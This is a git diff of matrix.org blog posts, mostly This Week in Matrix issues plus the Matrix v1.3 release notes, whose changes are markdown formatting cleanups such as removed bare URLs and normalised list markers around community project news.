|Rank|Hostname|Median MS| @@ -280,6 +288,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|quyo.de|879| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/06/2022-06-10-this-week-in-matrix-2022-06-10.md b/content/blog/2022/06/2022-06-10-this-week-in-matrix-2022-06-10.md index b75364e7f..6a2c131e5 100644 --- a/content/blog/2022/06/2022-06-10-this-week-in-matrix-2022-06-10.md +++ b/content/blog/2022/06/2022-06-10-this-week-in-matrix-2022-06-10.md @@ -16,7 +16,7 @@ category = ["This Week in Matrix"] [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > ## MSC Status > @@ -28,7 +28,7 @@ category = ["This Week in Matrix"] > > * [MSC2832: HS -> AS authorization header](https://github.com/matrix-org/matrix-spec-proposals/pull/2832) > * [MSC3715: Add a pagination direction parameter to `/relations`](https://github.com/matrix-org/matrix-spec-proposals/pull/3715) -> - FCP was proposed earlier, but all concerns have been cleared this week. +> * FCP was proposed earlier, but all concerns have been cleared this week. > > **MSCs in Final Comment Period:** > @@ -42,7 +42,7 @@ category = ["This Week in Matrix"] > > The release date for Matrix v1.3 has been set in stone for Thursday, June 16th 2022! Expect a blog post on the day detailing all of the new additions. > -> The bot that posts MSC updates in [#matrix-spec:matrix.org](https://matrix.to/#/#matrix-spec:matrix.org) and elsewhere has been switched from @mscbot:amorgan.xyz to @mscbot:matrix.org. The backend of the bot uses https://github.com/Informo/specs-bot/. +> The bot that posts MSC updates in [#matrix-spec:matrix.org](https://matrix.to/#/#matrix-spec:matrix.org) and elsewhere has been switched from @mscbot:amorgan.xyz to @mscbot:matrix.org. The backend of the bot uses . > > ## Random MSC of the Week > @@ -54,6 +54,7 @@ category = ["This Week in Matrix"] > > Registration, login and managing passwords and connected third-party IDs is often a complex part of a Matrix homeserver. Moving these out to a separate authentication service will both unlock new features (log in with Matrix!) as well as reduce the resources required to implement a Matrix homeserver. > +> > ![](/blog/img/20220610-spec.png) ## Dept of GSoC 🎓️ @@ -63,6 +64,7 @@ category = ["This Week in Matrix"] > Hey there, I am Rohit. I'll be participating in GSoC this summer, under the Matrix organization. > > For my project, I'll be working on the desktop client, Nheko. Specifically, I aim to work on its VoIP Library and also on implementing and updating some of the features to concur to specification changes to the Matrix protocol, which include +> > * Improved VoIP Signalling > * VoIP Call Transfers > * Muting Calls @@ -109,9 +111,9 @@ Second generation Matrix homeserver > > * The performance of state resolution has been increased significantly for larger rooms > * A number of changes have been made to rate limiting: -> - Logged in users will now be rate-limited on a per-session basis rather than by remote IP -> - Rate limiting no longer applies to admin or appservice users -> - It is now possible to configure additional users that are exempt from rate limiting using the `exempt_user_ids` option in the `rate_limiting` section of the Dendrite config +> * Logged in users will now be rate-limited on a per-session basis rather than by remote IP +> * Rate limiting no longer applies to admin or appservice users +> * It is now possible to configure additional users that are exempt from rate limiting using the `exempt_user_ids` option in the `rate_limiting` section of the Dendrite config > * Setting state is now idempotent via the client API state endpoints > * Room upgrades now properly propagate tombstone events to remote servers > * Room upgrades will no longer send tombstone events if creating the upgraded room fails @@ -128,6 +130,7 @@ Second generation Matrix homeserver > For all Mumble users out there, there is a new matrix bridge which works with ZeroC ICE interface to communicate with newer versions of Murmur. > > Currently, the most interesting features are: +> > * Bridging text messages of specific channels or a whole Murmur to a Matrix room > * Bridging images posted in the Matrix room to Murmur > * Representing Murmur clients with puppets in the Matrix room @@ -168,6 +171,7 @@ A multi purpose multi platform bridge, formerly known as matrix-github > > We didn't want to wait to ship the new design and also we needed a new release to come back to F-Droid where FluffyChat wasn't available in the last weeks because of a ProGuard problem, which should be fixed now. > +> > ![](/blog/img/fxZPIgWtXNxryebIZdXpYqHB.png) ### Element ([website](https://element.io)) @@ -234,9 +238,9 @@ Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone > **Element Call Beta 2** > -> This week we landed Element Call beta 2 (https://call.element.io) including a bunch of nice updates. First of all, everything is now end-to-end encrypted by default: not only the WebRTC streams but also the matrix signaling (It was consciously disabled in beta 1 for debugging purposes). Moreover, we have experimental support for spatial audio rendering. Give it a try — you can find it in the settings section. It's a lot of fun to play with and really supports immersion during a video call. This release also introduces a whole new experimental way of communicating: Walkie-talkie mode. In that mode, videos are disabled, and everyone is muted by default. To speak, press the ‘push-to-talk’ (PTT) button — takes me back to my childhood 🙂 +> This week we landed Element Call beta 2 () including a bunch of nice updates. First of all, everything is now end-to-end encrypted by default: not only the WebRTC streams but also the matrix signaling (It was consciously disabled in beta 1 for debugging purposes). Moreover, we have experimental support for spatial audio rendering. Give it a try — you can find it in the settings section. It's a lot of fun to play with and really supports immersion during a video call. This release also introduces a whole new experimental way of communicating: Walkie-talkie mode. In that mode, videos are disabled, and everyone is muted by default. To speak, press the ‘push-to-talk’ (PTT) button — takes me back to my childhood 🙂 > -> For further details follow this blog post: https://element.io/blog/element-call-beta-2-encryption-spatial-audio-walkie-talkie-mode-and-more/ +> For further details follow this blog post: ## Dept of SDKs and Frameworks 🧰 @@ -265,6 +269,7 @@ Matrix SDK written in pure Dart and maintained by [Famedly](https://famedly.com/ > The "Golden Tiger" senior capstone project team at Portland State University just delivered the results of two quarters's design and implementation work on a secure/private, self-hostable, end-to-end encrypted cloud security camera using Raspberry Pi's and Matrix. The idea of this prototype project was to provide similar functionality to commercial services like Ring or Nest, but without letting any nosy third party see inside (or around) your home. > > The students' code is available on Github in two repos: +> > * [The in-home Raspi camera controller](https://github.com/Open-Source-Videos/Matrix-surveillance-camera-controller) > * [The React/Cordova frontend](https://github.com/Open-Source-Videos/Matrix-surveillant-camera-security-web) @@ -273,6 +278,7 @@ Matrix SDK written in pure Dart and maintained by [Famedly](https://famedly.com/ Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -289,6 +295,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|alemann.dev|1333| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/06/2022-06-16-matrix-v1-3-release.md b/content/blog/2022/06/2022-06-16-matrix-v1-3-release.md index 1a9535822..4e8f4002c 100644 --- a/content/blog/2022/06/2022-06-16-matrix-v1-3-release.md +++ b/content/blog/2022/06/2022-06-16-matrix-v1-3-release.md @@ -49,13 +49,10 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini Deprecations - - Deprecate the `sender_key` and `device_id` on `m.megolm.v1.aes-sha2` events, and the `sender_key` on `m.room_key_request` to-device messages, as per [MSC3700](https://github.com/matrix-org/matrix-spec-proposals/pull/3700). ([#1101](https://github.com/matrix-org/matrix-spec/issues/1101)) - Backwards Compatible Changes - - Make `from` optional on `GET /_matrix/client/v3/messages` to allow requesting events from the start or end of the room history, as per [MSC3567](https://github.com/matrix-org/matrix-spec-proposals/pull/3567). ([#1002](https://github.com/matrix-org/matrix-spec/issues/1002)) - Add refresh tokens, per [MSC2918](https://github.com/matrix-org/matrix-spec-proposals/pull/2918). ([#1056](https://github.com/matrix-org/matrix-spec/issues/1056), [#1113](https://github.com/matrix-org/matrix-spec/issues/1113)) - Relax the restrictions on Rich Replies, as per [MSC3676](https://github.com/matrix-org/matrix-spec-proposals/pull/3676). ([#1062](https://github.com/matrix-org/matrix-spec/issues/1062)) @@ -63,10 +60,8 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini - Describe how relationships between events can be "aggregated", as per [MSC2675](https://github.com/matrix-org/matrix-spec-proposals/pull/2675) and [MSC3666](https://github.com/matrix-org/matrix-spec-proposals/pull/3666). ([#1062](https://github.com/matrix-org/matrix-spec/issues/1062)) - Add support for a new `knock_restricted` join rule in supported room versions, as per [MSC3787](https://github.com/matrix-org/matrix-spec-proposals/pull/3787). ([#1099](https://github.com/matrix-org/matrix-spec/issues/1099)) - Spec Clarifications - - Clarify that the url field in `m.room.avatar` events is not required. ([#987](https://github.com/matrix-org/matrix-spec/issues/987)) - Clarify that the `type` in user-interactive authentication can be omitted. ([#989](https://github.com/matrix-org/matrix-spec/issues/989)) - Adjust the OpenAPI specification so that the type `Flow information` is explicitly defined when the client-server API is rendered. ([#1003](https://github.com/matrix-org/matrix-spec/issues/1003)) @@ -85,19 +80,16 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini Backwards Compatible Changes - - Add a `destination` property to the Authorization header, as per [MSC3383](https://github.com/matrix-org/matrix-spec-proposals/pull/3383). ([#1067](https://github.com/matrix-org/matrix-spec/issues/1067)) - Spec Clarifications - - Remove largely unused `origin` field from PDUs. ([#998](https://github.com/matrix-org/matrix-spec/issues/998)) - Update various links which pointed to the old `matrix-doc` github repository. ([#1032](https://github.com/matrix-org/matrix-spec/issues/1032)) - Clarify the format for the Authorization header. ([#1038](https://github.com/matrix-org/matrix-spec/issues/1038), [#1067](https://github.com/matrix-org/matrix-spec/issues/1067)) - Clarify what a "valid event" means when performing checks on a received PDU. ([#1045](https://github.com/matrix-org/matrix-spec/issues/1045)) - Clarify that `valid_until_ts` is in milliseconds, like other timestamps used in Matrix. ([#1055](https://github.com/matrix-org/matrix-spec/issues/1055)) -- Clarify that checks on PDUs should refer to the state *before* an event. ([#1070](https://github.com/matrix-org/matrix-spec/issues/1070)) +- Clarify that checks on PDUs should refer to the state _before_ an event. ([#1070](https://github.com/matrix-org/matrix-spec/issues/1070)) - Clarify the historical handling of non-integer power levels. ([#1099](https://github.com/matrix-org/matrix-spec/issues/1099)) - Fix various typos throughout the specification. ([#1110](https://github.com/matrix-org/matrix-spec/issues/1110)) - Correct misleading text for `/send_join` response. ([#3703](https://github.com/matrix-org/matrix-spec-proposals/issues/3703)) @@ -107,7 +99,6 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini Backwards Compatible Changes - - Add timestamp massaging as per [MSC3316](https://github.com/matrix-org/matrix-spec-proposals/pull/3316). ([#1094](https://github.com/matrix-org/matrix-spec/issues/1094)) ### Identity Service API @@ -122,16 +113,13 @@ No significant changes. Backwards Compatible Changes - - Add room version 10 as per [MSC3604](https://github.com/matrix-org/matrix-spec-proposals/pull/3604). ([#1099](https://github.com/matrix-org/matrix-spec/issues/1099)) - Enforce integer power levels in room version 10 as per [MSC3667](https://github.com/matrix-org/matrix-spec-proposals/pull/3667). ([#1099](https://github.com/matrix-org/matrix-spec/issues/1099)) - Add a `knock_restricted` join rule supported by room version 10 as per [MSC3787](https://github.com/matrix-org/matrix-spec-proposals/pull/3787). ([#1099](https://github.com/matrix-org/matrix-spec/issues/1099)) - Update the default room version to 9 as per [MSC3589](https://github.com/matrix-org/matrix-spec-proposals/pull/3589). ([#3739](https://github.com/matrix-org/matrix-spec-proposals/issues/3739)) - Spec Clarifications - - Improve readability and understanding of the state resolution algorithms. ([#1037](https://github.com/matrix-org/matrix-spec/issues/1037), [#1042](https://github.com/matrix-org/matrix-spec/issues/1042), [#1043](https://github.com/matrix-org/matrix-spec/issues/1043), [#1120](https://github.com/matrix-org/matrix-spec/issues/1120)) - Improve readability of the authorization rules. ([#1050](https://github.com/matrix-org/matrix-spec/issues/1050)) - For room versions 8, 9, and 10: clarify which homeserver is required to sign the join event. ([#1093](https://github.com/matrix-org/matrix-spec/issues/1093)) diff --git a/content/blog/2022/06/2022-06-17-this-week-in-matrix-2022-06-17.md b/content/blog/2022/06/2022-06-17-this-week-in-matrix-2022-06-17.md index a4927114c..a3592a30e 100644 --- a/content/blog/2022/06/2022-06-17-this-week-in-matrix-2022-06-17.md +++ b/content/blog/2022/06/2022-06-17-this-week-in-matrix-2022-06-17.md @@ -35,7 +35,7 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > This week the team released Synapse 1.61, which main new feature is media retention. That's right, you can now control how long Synapse keeps media files around, which should help server admins manage Synapse's disk space usage more efficiently. On a different note, this release of Synapse removes support for groups/communities (which was deprecated back in Synapse 1.56), as it has now been replaced by Spaces. Farewell groups, you have served your users well. > -> See the full Synapse 1.61 release announcement on the matrix.org blog here: https://matrix.org/blog/2022/06/17/synapse-1-61-released +> See the full Synapse 1.61 release announcement on the matrix.org blog here: > > Aside from this, the team is as always hard at work on making Synapse better and more efficient. @@ -45,7 +45,7 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [JFA](https://matrix.to/#/@alariej:matrix.org) says -> New version of Quadrix (1.0.6) available on desktops and mobiles. Mainly bug fixes, plus the addition of a button to deactivate the account on the server (this apparently will be soon mandatory for iOS and MacOS messaging apps). The new desktop version should offer better support for Wayland (tested on Fedora 36, Ubuntu 22.04 and Mobian/Phosh). Repo at https://github.com/alariej/quadrix, project room at [#quadrix:matrix.org](https://matrix.to/#/#quadrix:matrix.org) :-) +> New version of Quadrix (1.0.6) available on desktops and mobiles. Mainly bug fixes, plus the addition of a button to deactivate the account on the server (this apparently will be soon mandatory for iOS and MacOS messaging apps). The new desktop version should offer better support for Wayland (tested on Fedora 36, Ubuntu 22.04 and Mobian/Phosh). Repo at , project room at [#quadrix:matrix.org](https://matrix.to/#/#quadrix:matrix.org) :-) ### Nheko ([website](https://nheko-reborn.github.io)) @@ -76,6 +76,7 @@ Desktop client for Matrix using Qt and C++17. > I came to the conclusion that with 900 rooms, Nheko takes about 10-20 seconds to load and be ready for use on my system, while Element takes about 3 to 4 minutes. So basically Element handles 60 times as many rooms about 2x slower than it did back in the day, while Nheko got a bit faster or about the same speed on the same hardware (but still 60x as many rooms). I've attached a sped up video to this post, so that you can compare it for yourself. But since a lot of people ask, I guess the reason is that I wanted to see how fast you can make a Matrix client. I think I somewhat achieved that in the startup time department, but switching rooms still has a loooooong way to go. Also it is just fun to implement whatever you want in a client, since you are the maintainer and none can tell you how bad of an idea it is. That's probably the reason a lot of people start their own clients? (Although I didn't start Nheko, I just wrote too much code and people didn't want to review it anymore.) > > That's it, I hope your eyes didn't glaze over with me babbling on about things. See you next time! :3 +> > ![](/blog/img/eGhFKqsIshkzBIdbPPXetisW.png)

    I built a Valheim Mod to bridge Matrix messages from and to Valheim, so that I didn't have to switch windows as often when playing with the other Nheko devs. You can find it here: https://nheko.im/nheko-reborn/valheimmatrix

    +

    Postmoogle

    @@ -279,6 +280,7 @@ I haven't had much time, but I did write two tiny projects and small blog posts:

    Which brings us on the last big goal: We do want to eventually switch to Qt6. We did have a branch testing out how difficult that would be and it was doable, but we were mostly blocked on GStreamer not supporting Qt6 yet. This is fixed in GStreamer 1.24, which should be out soon, so this is probably the time we can start looking into finalizing the port. Qt6 will fix A LOT of Wayland issues and give us a lot of new optimization opportunities. Maybe that is the year we can get below 100MB RAM usage on my ever growing account and make every room switch feel instant.

    Well... this was a bit of a long one? Certainly it wasn't the work of one person. The Nheko community seems to just be constantly growing and there are so many people contributing, that it really makes me love open source! Thank you! All of you! It has been a great year (Nheko wise) and I hope 2023 becomes even greater! Have a great year!

    +

    Timo Kösters' year in Matrix

    @@ -443,6 +445,7 @@ Oh also, I almost forgot, happy new year Matrixians, stay awesome!

    ajbura shares

    Cinny is a Matrix client for instant messaging. Our main goal is to make the best UI/UX so that less technical folks can easily adopt Matrix.
    2022 has been really productive year for Cinny, we have landed Full Spaces support, Room settings, Custom emojis and stickers, Session verification and cross-signing, and so many cool features.

    Lately, we have been working on a design system for Cinny and it is almost ready to release. Our short-term goals for 2023 would be to incorporate the design system into Cinny, and convert the code to TypeScript both of which will greatly improve the developer and user experience.

    You can join Cinny space to talk about it or browse https://cinny.in

    +

    2022 year in Nyatrix

    @@ -676,5 +679,4 @@ And as always, like Emacs, Ement is Free Software, so contributions are welcome.

    Miki is a MediaWiki meant for Matrix. It isn't a bridge, but instead the goal is to document projects and history around Matrix. This project aims for 2023 to extend the data, while in 2022 the work was focused around infrastructure.

    -

    That's all I know about so far. I hope you had a great year and that the next one will be even better. As you can see, the Matrix community is a riot of colors and seems to grow every year. I absolutely love it!

    diff --git a/content/blog/2023/01/2023-01-06-this-week-in-matrix-2023-01-06.md b/content/blog/2023/01/2023-01-06-this-week-in-matrix-2023-01-06.md index abfdd75b7..9aedc5df7 100644 --- a/content/blog/2023/01/2023-01-06-this-week-in-matrix-2023-01-06.md +++ b/content/blog/2023/01/2023-01-06-this-week-in-matrix-2023-01-06.md @@ -15,59 +15,58 @@ image = "https://matrix.org/blog/img/cbIulIJDvrpoIxneRNUgGLmd.png" {{ youtube_player(video_id="tfC5SAdTnUM") }} - ## Dept of *Status of Matrix* 🌡️ ### Matrix Community Year In Review 2022 [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says -> Since the last few official Matrix holiday updates didn't mention as many of the cool community projects as I would have liked, I tried to work with the community to publish a community side review of 2022 as well as possibly some small teasers of what 2023 will bring. There are a lot of very varied updates, since everyone seems to have tackled the challenge differently, but I hope you you enjoy the result as much as I did: https://blog.neko.dev/posts/matrix-year-in-review-2022.html -> -> A few days later we also published the same blog post on matrix.org, with a few typo fixes and cleanups: https://matrix.org/blog/2023/01/03/matrix-community-year-in-review-2022 -> +> Since the last few official Matrix holiday updates didn't mention as many of the cool community projects as I would have liked, I tried to work with the community to publish a community side review of 2022 as well as possibly some small teasers of what 2023 will bring. There are a lot of very varied updates, since everyone seems to have tackled the challenge differently, but I hope you you enjoy the result as much as I did: +> +> A few days later we also published the same blog post on matrix.org, with a few typo fixes and cleanups: +> > This was a bit shot notice, so I would like to extend my gratitude to everyone who contributed and took some time in probably one of the busiest periods in a year! For the same reason, I hope you can excuse if one of your favourite projects is missing. If you have anything that is sorely missing, feel free to reach out in [#year-in-2022:neko.dev](https://matrix.to/#/#year-in-2022:neko.dev) and maybe I can amend the blog post. -> +> > Have a great 2023 everyone! ## Dept of Spec 📜 [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC3952: Intentional Mentions](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) -> +> > **MSCs in Final Comment Period:** -> +> > * [MSC3904: Room version 10 as the default room version](https://github.com/matrix-org/matrix-spec-proposals/pull/3904) (merge) > * [MSC3783: Fixed base64 for SAS verification](https://github.com/matrix-org/matrix-spec-proposals/pull/3783) (merge) -> +> > **Accepted MSCs:** -> +> > * [MSC3938: Remove keyId from `/keys` endpoints](https://github.com/matrix-org/matrix-spec-proposals/pull/3938) (and merged below!) -> +> > **Merged MSCs:** -> +> > * [MSC3938: Remove keyId from `/keys` endpoints](https://github.com/matrix-org/matrix-spec-proposals/pull/3938) > * [MSC3706: Extensions to /\_matrix/federation/v2/send\_join/{roomId}/{eventId} for partial state](https://github.com/matrix-org/matrix-spec-proposals/pull/3706) -> +> > ## Spec Updates -> +> > After a lull from the holiday period, work has continued on different parts of the spec. [MSC3706](https://github.com/matrix-org/matrix-spec-proposals/pull/3706) has merged, which furthers the spec side of the work to make joining rooms faster in Matrix (see [MSC3902](https://github.com/matrix-org/matrix-spec-proposals/pull/3902) for the overview). -> +> > [MSC3938](https://github.com/matrix-org/matrix-spec-proposals/pull/3938) has also been merged to the spec. The proposal removes a deprecated `keyId` field and cleans up the endpoint by disallowing trailing slashes. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3885: Sliding Sync Extension: To-Device messages](https://github.com/matrix-org/matrix-spec-proposals/pull/3885)! -> +> > Sliding Sync ([MSC3575](https://github.com/matrix-org/matrix-spec-proposals/pull/3575)) is the next generation of sync - how Matrix clients receive new data from their homeserver. The spec side of the feature has been designed to be modular, with different extensions of spec provided different functionality. [MSC3885](https://github.com/matrix-org/matrix-spec-proposals/pull/3885) is one of those extensions, and defines how [To-Device Messages](https://spec.matrix.org/v1.5/client-server-api/#send-to-device-messaging) (how different user devices talk directly to each other) would be requested by a Matrix client from the homeserver. -> +> > This proposal doesn't appear to have had too much review from the community yet - so feel free to check it out if faster Matrix clients appeal to you! @@ -81,9 +80,9 @@ A client for matrix, the decentralized communication protocol [nvrwhere](https://matrix.to/#/@nvrwhere:kde.org) reports > So the big new this week is that Neochat is now available on the [Microsoft store](https://www.microsoft.com/store/apps/9PNXWVNRC29H)! This version also has the new end-to-end encryption activated for anyone who wants to try it out. -> +> > Searching for messages in rooms was added and the room settings also gained missing features including modifying user permissions, setting the join rule to knock and upgrading the room version. -> +> > There was also a ton of smaller improvements to the UI including improving the room information drawer layout and a compact mode for the room list view. ### Hydrogen ([website](https://github.com/vector-im/hydrogen-web)) @@ -93,9 +92,11 @@ Hydrogen is a lightweight matrix client with legacy and mobile browser support [Bruno](https://matrix.to/#/@bwindels:matrix.org) says > We started working on group call support again this week! Here's a little preview of a call between Element Call and Hydrogen on desktop and Android, hoping we can release it soon. -> +> +> > ![](/blog/img/nUrrAnDwnxtEucgarSvCTIix.png) -> +> +> > ![](/blog/img/iQfSjuOcyXsjYUDfRSDoJWhG.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -105,18 +106,18 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Fеnикs](https://matrix.to/#/@fenuks:sibnsk.net) says > Element-web client on IPFS -> +> > It has been a while since last time anyone announced their effort to host (and keep up to date) Element-web on IPFS. > Since Element-web is a client-side static web application, it works just fine when accessed through local IPFS gateway (like kubo/go-ipfs, ipfs-companion browser addon makes it almost seamless). -> +> > Latest version (updated within 2 days of the release): > /ipns/element.sibnsk.net (/ipns/k51qzi5uqu5dj43aqkofq4ggbd7nnpvg8j1ia79deab41bfe4zrp86xoht5w2j) -> +> > Versions archive: > /ipns/elements.sibnsk.net (/ipns/k51qzi5uqu5dmc2sqzfh36v85ucddrw3vbd21erk77wc1pot16j5mqqjmwjyc3) -> +> > Note: those are unpacked release archives from github with `config.json` being a copy of `config.sample.json`. -> +> > Files stored on IPFS benefit greatly from more people accessing, storing and sharing them, so everyone is invited to use and pin (periodically, as new versions are released). Note: Fеnикs's efforts to host Element-web on IPFS are community efforts, this is not an official deployment of Element. @@ -125,9 +126,9 @@ Note: Fеnикs's efforts to host Element-web on IPFS are community efforts, thi > * We’re continued work on automating packaging > * We’ve also enabled more TypeScript strict checking -> +> > In labs (you can enable labs features in settings on develop.element.io or on Nightly): -> +> > * Still working on Favourite messages, we're going to get there very soon! ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -156,13 +157,15 @@ matrix-social is a social media client powered by Matrix. > * Bulma has been completely replaced by TailwindCSS, allowing greater flexibility with styling. This involved a rewrite of the navbar, post, login, and other components of the UI. > * Posts now display a comment count. There is also a "score", which can be incremented/decremented by thumbsup/thumbsdown reactions. There is currently progress on reacting from matrix-social. > * Login times are now significantly faster (~5-10x) -> -> Preview matrix-social at https://imbev.codeberg.page/matrix-social/ -> +> +> Preview matrix-social at +> > All are welcome to join us at [#matrix-social:matrix.org](https://matrix.to/#/#matrix-social:matrix.org)! -> +> +> > ![](/blog/img/ZaHGTRNjgwdMzyMJUagrSdLB.png) -> +> +> > ![](/blog/img/cbIulIJDvrpoIxneRNUgGLmd.png) ### Effektio ([website](https://effektio.org)) @@ -172,9 +175,9 @@ The one mobile-first, decentralized community organizing app [ben](https://matrix.to/#/@ben:effektio.org) announces > Earlier this week, we merged the core API for [Tasks / ToDoList and Todos](https://github.com/effektio/effektio/pull/413) using matrix events into `main`. [While connecting the flutter UI](https://github.com/effektio/effektio/issues/424) is ongoing (which has reverently been [revamped to be more streamline and intuitive to use](https://github.com/effektio/effektio/pull/418)) this marks a major milestone in getting the proof of concept done. It shows that using stateful objects inside matrix spaces that can be collaborated upon with simple matrix events is feasible for regular end-user-style applications. The [PR](https://github.com/effektio/effektio/pull/413) also brings with it integration tests and a TUI app show-casing live-updating tasks lists and tasks. -> +> > Meanwhile many issues have been fixed around chat, the code has been updated to latest matrix-sdk and [we are working hard on reactivating the integration test suite](https://github.com/effektio/effektio/pull/419) for better quality assurance. Which is increasingly important as we are sketching out the other generic stateful objects - like the [comments system](https://github.com/effektio/effektio/pull/428), news, pins and reactions. -> +> > Lastly, we have received a lot of positive feedback about [the whitepaper we launched last month](https://effektio.org/whitepaper/) outlining what we are after when building this and how we intend this all to move forward. If you haven't read it yet, we are still curious to know what you think of it. ## Dept of SDKs and Frameworks 🧰 @@ -186,7 +189,7 @@ Matrix bots in Rust and WebAssembly. If you're interested to follow the project, [bnjbvr](https://matrix.to/#/@bnjbvr:delire.party) reports > Since the last time in November, there's been a bit of activity on Trinity: -> +> > * Support for end-to-end encryption has been fixed, so that the bots can now reliably answer in private chats and encrypted rooms. Thanks to the kind folks in the Matrix Rust SDK channel for the provided help! Hopefully next time [we demo Trinity live](https://www.youtube.com/watch?v=hIbBLs1q99w), we won't embarrass ourselves with that bug ever again 😊 > * The admin command is now always aware of the room it's applied to, thanks to a contribution by @ahal:mozilla.org. > * There's now an experimental OpenAI chatbot, that you can enable in conversation mode in a room (i.e. it'll answer every single message), or that you can trigger with a prefix `!ai`. @@ -198,7 +201,7 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) reports > Trixnity [3.1.0](https://gitlab.com/trixnity/trixnity/-/releases/v3.1.0) has been released: -> +> > * new `Timeline` abstraction for better developer experience > * ⚠ breaking change: `getTimelineEventsAround` is ordered naturally (to be consistent with the new `Timeline`) > * new helper function `canSetPowerLevelTo` @@ -212,7 +215,7 @@ Multiplatform Kotlin SDK for Matrix > As my first real project written in Rust, I present a translation bot that uses the DeepL translation API to easily translate conversations between participants in a room. > The bot has source language detection, so you can type in your native language and it'll translate to anything you'd like right inside of your Matrix client. -> I've released the source code under the MIT license, so feel free to expand and improve on it: https://github.com/du64/scripts/tree/main/matrix-translation-bot +> I've released the source code under the MIT license, so feel free to expand and improve on it: ## Dept of Events and Talks 🗣️ @@ -221,36 +224,36 @@ Multiplatform Kotlin SDK for Matrix [jaller94](https://matrix.to/#/@jaller94:matrix.org) announces > English Episode -> +> > Meet Sumner Evans, who talked to Yan about his way into the Matrix community and career as a developer. Alongside other wisdoms, he recommends newcomers to run their own home server to get familiar with Matrix. -> +> > In general, this episode contains a lot of tips for people who want to get started and more involved with Matrix. -> -> Episode link: https://anchor.fm/matrix-podcast0/episodes/Sumner-English-episode---Matrix-Community-Summit-2022-e1sbg16 -> Mastodon post: https://mastodontech.de/@jaller94/109603245886080934 -> +> +> Episode link: +> Mastodon post: +> > Next week marks the end of the Matrix Community Summit 2022 series. We're planning on continuing the podcast feed in the future. Stay tuned for a final (German) episode next Friday! [jaller94](https://matrix.to/#/@jaller94:matrix.org) reports > German Episode -> +> > Meet Janonym, who describes how Matrix is used at the University of Graz. > He and I talked about how Matrix, Etherpad and Jitsi allow students to collaborate, how Moodle has become an important tool in digital education and how the Maths faculty enjoys Element's Labs feature for LaTeX messages. -> -> Episode link: https://anchor.fm/matrix-podcast0/episodes/Jan---Universitt-Graz--Matrix-Community-Summit-2022-e1sbfvg -> Mastodon post: https://mastodontech.de/@jaller94/109603226240566623 +> +> Episode link: +> Mastodon post: [jaller94](https://matrix.to/#/@jaller94:matrix.org) reports > German Episode -> +> > Meet Alex and Valentin who compete for the lowest ping statistics with their Matrix server. > We talked about their ideas for Matrix, university and more. -> -> Episode: https://anchor.fm/matrix-podcast0/episodes/Alex-und-Valentin---Matrix-Community-Summit-2022-e1sbg1v​ -> Mastodon post: https://mastodontech.de/@jaller94/109642891653368048 -> +> +> Episode: +> Mastodon post: +> > While this concludes the 8 podcast episodes we recorded at the Matrix Community Summit in Berlin, I did another recording with Kim (HarHarLinks) this week, so there will be a 9th episode next Friday. ### [FOSDEM23 Matrix Community Meetup](https://hsbxl.be/events/byteweek/2023/matrix-community-meetup/) @@ -259,13 +262,13 @@ Multiplatform Kotlin SDK for Matrix > There is a large interest in FOSDEM from the Matrix community, and we are very excited to see not just a stand, not just an online track, but the first ever in person Matrix devroom happening this year! The officially allotted time [for the Matrix devroom](https://fosdem.org/2023/schedule/track/matrix/) at FOSDEM however is only half a day. > Some friends and matrix enthusiasts who met at the first Matrix Community Summit Berlin in 2022 feel there is more to discuss and want more time to meet more of this amazing community we are part of, without taking away from the FOSDEM experience itself. -> +> > **We are happy to announce the FOSDEM23 Matrix Community Meetup at [Hackerspace Brussels](https://hsbxl.be/) (HSBXL)!** -> The meetup is set to begin on Friday 03 February around 13:00 local time (CET) and will go into the evening. See https://hsbxl.be/contact/ for multiple well documented ways how to find us. Thank you HSBXL for providing a location for this! +> The meetup is set to begin on Friday 03 February around 13:00 local time (CET) and will go into the evening. See for multiple well documented ways how to find us. Thank you HSBXL for providing a location for this! > There is no definite schedule, instead we want to give the space for discussions to develop organically 